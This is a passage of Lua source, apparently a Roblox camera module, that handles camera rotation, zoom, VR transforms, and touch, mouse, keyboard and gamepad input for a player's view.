local math_atan2 = math.atan2
local math_floor = math.floor
local math_max = math.max
local math_pi = math.pi
local Vector2_new = Vector2.new
local Vector3_new = Vector3.new
local CFrame_Angles = CFrame.Angles
local CFrame_new = CFrame.new
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2_new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2_new(xTheta, yTheta)
end
function this:RotateVector(startVector, xyRotateVector)
local startCFrame = CFrame_new(ZERO_VECTOR3, startVector)
local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector
return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y)
end
function this:RotateCamera(startLook, xyRotateVector)
if VRService.VREnabled then
local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0))
return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector
else
local startVertical = math_asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta))
end
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
local camera = workspace.CurrentCamera
if camera.CameraType == Enum.CameraType.Scriptable then
return
end
if isFirstPerson or self:GetShiftLock() then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown or isMiddleMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
function this:rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math_max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = self:rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
----- VR STUFF ------
function this:ApplyVRTransform()
if not VRService.VREnabled then
return
end
--we only want this to happen in first person VR
local player = PlayersService.LocalPlayer
if not (player and player.Character
and player.Character:FindFirstChild("HumanoidRootPart")
and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then
return
end
local camera = workspace.CurrentCamera
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
if this:IsInFirstPerson() and not isInVehicle then
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrRotation = vrFrame - vrFrame.p
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
else
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
end
end
local vrRotationIntensityExists = true
local lastVrRotationCheck = 0
function this:ShouldUseVRRotation()
if not VRService.VREnabled then
return false
end
if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
vrRotationIntensityExists = success and vrRotationIntensity ~= nil
lastVrRotationCheck = tick()
return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
end
function this:GetVRRotationInput()
local vrRotateSum = ZERO_VECTOR2
local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity")
local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity)
if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
local sign = 1
if vrGamepadRotation.x < 0 then
sign = -1
end
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
end
elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
end
if self.TurningLeft then
if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then
vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Left] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
end
if self.TurningRight then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Right] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
end
if vrRotateSum ~= ZERO_VECTOR2 then
lastVRRotation = tick()
end
return vrRotateSum
end
local cameraTranslationConstraints = Vector3.new(1, 1, 1)
local humanoidJumpOrigin = nil
local trackingHumanoid = nil
local cameraFrozen = false
local subjectStateChangedConn = nil
local cameraSubjectChangedConn = nil
local workspaceChangedConn = nil
local humanoidChildAddedConn = nil
local humanoidChildRemovedConn = nil
local function cancelCameraFreeze(keepConstraints)
if not keepConstraints then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z)
end
if cameraFrozen then
trackingHumanoid = nil
cameraFrozen = false
end
end
local function startCameraFreeze(subjectPosition, humanoidToTrack)
if not cameraFrozen then
humanoidJumpOrigin = subjectPosition
trackingHumanoid = humanoidToTrack
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z)
cameraFrozen = true
end
end
local function rescaleCameraOffset(newScaleFactor)
R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor
end
local function onHumanoidSubjectChildAdded(child)
if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
end
heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset)
rescaleCameraOffset(child.Value)
end
end
local function onHumanoidSubjectChildRemoved(child)
if child.Name == "BodyHeightScale" then
rescaleCameraOffset(1)
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
end
end
local function onNewCameraSubject()
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if humanoidChildAddedConn then
humanoidChildAddedConn:disconnect()
humanoidChildAddedConn = nil
end
if humanoidChildRemovedConn then
humanoidChildRemovedConn:disconnect()
humanoidChildRemovedConn = nil
end
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if trackingHumanoid ~= humanoid then
cancelCameraFreeze()
end
if humanoid and humanoid:IsA('Humanoid') then
humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded)
humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved)
for _, child in pairs(humanoid:GetChildren()) do
onHumanoidSubjectChildAdded(child)
end
subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then
startCameraFreeze(this:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
cancelCameraFreeze(true)
end
end)
end
end
local function onCurrentCameraChanged()
if cameraSubjectChangedConn then
cameraSubjectChangedConn:disconnect()
cameraSubjectChangedConn = nil
end
local camera = workspace.CurrentCamera
if camera then
cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject)
onNewCameraSubject()
end
end
function this:GetVRFocus(subjectPosition, timeDelta)
local newFocus = nil
local camera = workspace.CurrentCamera
local lastFocus = self.LastCameraFocus or subjectPosition
if not cameraFrozen then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z)
end
if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then
newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
else
newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y))
end
if cameraFrozen then
-- No longer in 3rd person
if self:IsInFirstPerson() then -- not VRService.VREnabled
cancelCameraFreeze()
end
-- This case you jumped off a cliff and want to keep your character in view
-- 0.5 is to fix floating point error when not jumping off cliffs
if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then
cancelCameraFreeze()
end
end
return newFocus
end
------------------------
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local lastTapTime = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local inputStartPositions = {}
local inputStartTimes = {}
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
--If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea
local dtFrame = getDynamicThumbstickFrame()
if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) and (not dtFrame or not positionIntersectsGuiObject(input.Position, dtFrame)) then
fingerTouches[input] = processed
if not processed then
inputStartPositions[input] = input.Position
inputStartTimes[input] = tick()
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
if isDynamicThumbstickEnabled then
return
end
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue())
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math_max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 10, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function calcLookBehindRotateInput(torso)
if torso then
local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE), 0))).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
return Vector2.new(horizontalShift, vertShift)
end
return nil
end
local OnTouchTap = nil
if not touchWorkspaceEventEnabled then
OnTouchTap = function(position)
if isDynamicThumbstickEnabled and not IsAToolEquipped then
if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
local tween = {
from = this:GetCameraZoom(),
to = DefaultZoom,
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
this:ZoomCamera(from + (to - from)*alpha)
return to
end
}
tweens["Zoom"] = tween
else
local humanoid = this:GetHumanoid()
if humanoid then
local player = PlayersService.LocalPlayer
if player and player.Character then
if humanoid and humanoid.Torso then
local tween = {
from = this.RotateInput,
to = calcLookBehindRotateInput(humanoid.Torso),
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
to = calcLookBehindRotateInput(humanoid.Torso)
if to then
this.RotateInput = from + (to - from)*alpha
end
return to
end
}
tweens["Rotate"] = tween
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
end
end
lastTapTime = tick()
end
end
end
local function IsTouchTap(input)
-- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type.
if inputStartPositions[input] then
local posDelta = (inputStartPositions[input] - input.Position).magnitude
if posDelta < MAX_TAP_POS_DELTA then
local timeDelta = inputStartTimes[input] - tick()
if timeDelta < MAX_TAP_TIME_DELTA then
return true
end
end
end
return false
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
if not touchWorkspaceEventEnabled and IsTouchTap(input) then
OnTouchTap(input.Position)
end
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
inputStartPositions[input] = nil
inputStartTimes[input] = nil
end
local function OnMousePanButtonPressed(input, processed)
if processed then return end
this:UpdateMouseBehavior()
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
end
local function OnMousePanButtonReleased(input, processed)
this:UpdateMouseBehavior()
if not (isRightMouseDown or isMiddleMouseDown) then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouse3Down(input, processed)
if processed then return end
isMiddleMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse3Up(input, processed)
isMiddleMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouseMoved(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
local inputDelta = input.Delta
inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue())
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math_floor(num + 0.5)
end
local eight2Pi = math_pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= ZERO_VECTOR3 then
camLook = camLook.unit
local currAngle = math_atan2(camLook.z, camLook.x)
local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local function onWindowFocusReleased()
this:ResetInputStates()
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 6
local vrMaxSpeed = 4
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1, 1, point)
end
return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == ZERO_VECTOR2 then
lastThumbstickRotate = nil
if lastThumbstickPos == ZERO_VECTOR2 then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
if VRService.VREnabled then
currentSpeed = vrMaxSpeed
else
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
end
local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end)
finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue())
end
return ZERO_VECTOR2
end
local InputBeganConn, InputChangedConn, InputEndedConn, WindowUnfocusConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if WindowUnfocusConn then
WindowUnfocusConn:disconnect()
WindowUnfocusConn = nil
end
if MenuOpenedConn then
MenuOpenedConn:disconnect()
MenuOpenedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
if GamepadConnectedConn then
GamepadConnectedConn:disconnect()
GamepadConnectedConn = nil
end
if GamepadDisconnectedConn then
GamepadDisconnectedConn:disconnect()
GamepadDisconnectedConn = nil
end
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if workspaceChangedConn then
workspaceChangedConn:disconnect()
workspaceChangedConn = nil
end
if TouchActivateConn then
TouchActivateConn:disconnect()
TouchActivateConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
isMiddleMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ResetInputStates()
isRightMouseDown = false
isMiddleMouseDown = false
this.TurningRight = false
this.TurningLeft = false
OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters
if UserInputService.TouchEnabled then
--[[menu opening was causing serious touch issues
this should disable all active touch events if
they're active when menu opens.]]
for inputObject, value in pairs(fingerTouches) do
fingerTouches[inputObject] = nil
end
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
StartingDiff = nil
pinchBeginZoom = nil
NumUnsunkTouches = 0
end
end
function this.getGamepadPan(name, state, input)
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = ZERO_VECTOR2
return
end
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = ZERO_VECTOR2
end
end
end
function this.doGamepadZoom(name, state, input)
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.ZoomEnabled then
if this:GetCameraZoom() > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
end
function this:BindGamepadInputActions()
ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2)
ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3)
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
WindowUnfocusConn = UserInputService.WindowFocusReleased:connect(onWindowFocusReleased)
MenuOpenedConn = GuiService.MenuOpened:connect(function()
this:ResetInputStates()
end)
workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
if workspace.CurrentCamera then
onCurrentCameraChanged()
end
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
this.activeGamepad = nil
local function assignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if this.activeGamepad == nil then
this.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < this.activeGamepad.Value then
this.activeGamepad = connectedGamepads[i]
end
end
end
if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
this.activeGamepad = Enum.UserInputType.Gamepad1
end
end
GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if this.activeGamepad ~= gamepadEnum then return end
this.activeGamepad = nil
assignActivateGamepad()
end)
GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if this.activeGamepad == nil then
assignActivateGamepad()
end
end)
self:BindGamepadInputActions()
assignActivateGamepad()
-- set mouse behavior
self:UpdateMouseBehavior()
end
--Process tweens related to tap-to-recenter and double-tap-to-zoom
--Needs to be called from specific cameras on each update
function this:ProcessTweens()
for name, tween in pairs(tweens) do
local alpha = math.min(1.0, (tick() - tween.start)/tween.duration)
tween.to = tween.func(tween.from, tween.to, alpha)
if math.abs(1 - alpha) < 0.0001 then
tweens[name] = nil
end
end
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
self.cframe = workspace.CurrentCamera.CFrame
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
wait()
humanoid = findPlayerHumanoid(player)
end
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE)), 0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
-- Need to wait for camera cframe to update before we zoom in
-- Not waiting will force camera to original cframe
wait()
this:ZoomCamera(this.DefaultZoom)
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
